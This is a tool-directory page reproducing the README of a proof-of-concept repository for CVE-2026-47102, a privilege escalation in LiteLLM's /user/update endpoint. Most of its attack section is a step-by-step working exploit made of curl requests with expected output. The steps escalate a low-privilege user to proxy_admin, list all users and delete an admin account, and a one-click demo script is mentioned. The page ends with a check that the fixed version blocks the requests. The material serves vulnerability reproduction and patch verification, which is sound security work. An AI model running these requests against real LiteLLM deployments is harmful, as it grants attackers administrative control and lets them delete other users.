Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-47102-PoC — The code for personally reproducing the corresponding vulnerability | Kitploit
Tools/GitHubGitHub/learner202649/cve-2026-47102-poc
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHublearner202649/cve-2026-47102-poc

CVE-2026-47102-PoC

The code for personally reproducing the corresponding vulnerability

View Repository
184 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-47102 — LiteLLM Privilege Escalation via /user/update

LiteLLM v1.83.7 (versions before v1.83.10) /user/update endpoint allows low-privileged users with access to this endpoint to modify their own user_role field to proxy_admin when updating their account, achieving unauthorized privilege escalation.

FieldValue
CVECVE-2026-47102
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization)
AffectedLiteLLM < 1.83.10 (confirmed on v1.83.7)
Fixedv1.83.10+ (added permission check for modifying user_role field)
Published2026-05-21
Discovered byFenix Qiao (13ph03nix) — Obsidian Security
LinksNVD

Description

LiteLLM's /user/update endpoint is used to update user attributes. In affected versions, the can_user_call_user_update() function of /user/update checks whether the user is authorized to update the specified user (allowing users to update their own records), but imposes no restrictions on which fields can be modified.

This means any user who can access the /user/update endpoint (for example, users granted route permissions by an administrator, or attackers who gain access to this endpoint through other vulnerabilities) can escalate their own role to proxy_admin by modifying their user_role field, gaining full access to all administrative endpoints.

Attack Chain

Admin creates API key with /user/update route permission for internal_user
  →  internal_user gains route-level access
  →  POST /user/update  {"user_id": "...", "user_role": "proxy_admin"}  ← CVE-2026-47102
  →  Role escalated to proxy_admin
  →  GET /user/list  (verify admin access)

Difference from CVE-2026-47101

ItemCVE-2026-47101CVE-2026-47102
Vulnerability Focus/key/generate does not validate allowed_routes/user/update lacks field-level authorization
Attack Prerequisiteinternal_user can directly call /key/generateMust first obtain /user/update route access
Fix Versionv1.83.14v1.83.10

The two vulnerabilities can be chained: CVE-2026-47101 is used to create a wildcard route key (accessing /user/update), and CVE-2026-47102 is used to escalate one's own role to proxy_admin.


Proof of Concept

Environment Setup

# 1. Start PostgreSQL + vulnerable LiteLLM (v1.83.7-stable)
docker compose up -d litellm

# Wait for service readiness (about 10-30 seconds)
sleep 15

Verify Service Running

# Check container logs
docker logs litellm-47102-privesc 2>&1 | tail -10

Expected output should contain logs indicating successful startup, such as Uvicorn running on http://0.0.0.0:4000.

Step 1: Create an internal_user account

Use the master key to create a low-privilege internal_user account:

curl -s -X POST http://localhost:4002/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Expected output:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Step 2: Admin grants a key with /user/update route permission

The admin creates an API key with /user/update route access for internal_user. This is the typical way to gain access to the /user/update endpoint in a real environment:

# Use master key to create a key with /user/update route
curl -s -X POST http://localhost:4002/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'

Expected output:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

Step 3: Privilege Escalation to proxy_admin (CVE-2026-47102)

Using the key with /user/update route permission obtained in the previous step, escalate the user role to proxy_admin:

curl -s -X POST http://localhost:4002/user/update \
  -H "Authorization: Bearer sk-route-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Expected output:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Vulnerability point: user_role has been changed from internal_user to proxy_admin! The /user/update endpoint allows users to modify their own user_role field without any field-level permission restrictions.

Step 4: Verify Administrator Access

Verify the role escalation via the /user/list endpoint (using the original internal_user API key, which has no route restrictions; after escalation to proxy_admin, it automatically gains admin privileges):

# Use the key that has been escalated to proxy_admin (original internal_user key, no route restrictions)
curl -s -X GET http://localhost:4002/user/list \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json"

Expected output:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Step 5: Extension — Delete an Admin User

Using the obtained proxy_admin privileges, any user can be deleted via /user/delete (again using the original internal_user API key):

curl -s -X POST http://localhost:4002/user/delete \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Expected output:

1

One-Click Reproduction

The above steps have been integrated into demo.sh, which can be executed directly:

# Full reproduction (includes comparison between vulnerable and fixed versions)
bash demo.sh

Fixed Version Verification

Start the fixed version (v1.83.10-stable) to verify that CVE-2026-47102 has been patched:

docker compose --profile fixed up -d litellm-fixed

Create an internal_user:

FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")

Create a key with /user/update route:

FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

Attempt to escalate privileges (expected to be blocked):

curl -s -X POST http://localhost:4003/user/update \
  -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"

Expected output (fixed version blocks unauthorized request):

{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}

Comparison with vulnerable version:

Test ScenarioVulnerable Version (v1.83.7)Fixed Version (v1.83.10)
Route key modifies user_role✅ Successfully escalated to proxy_admin❌ Blocked ("Only proxy admins can modify user roles.")
Access /user/list✅ Successfully retrieved user list❌ Blocked

Root Cause Analysis

The root cause of the vulnerability lies in the can_user_call_user_update() function of the /user/update endpoint:

Download Tool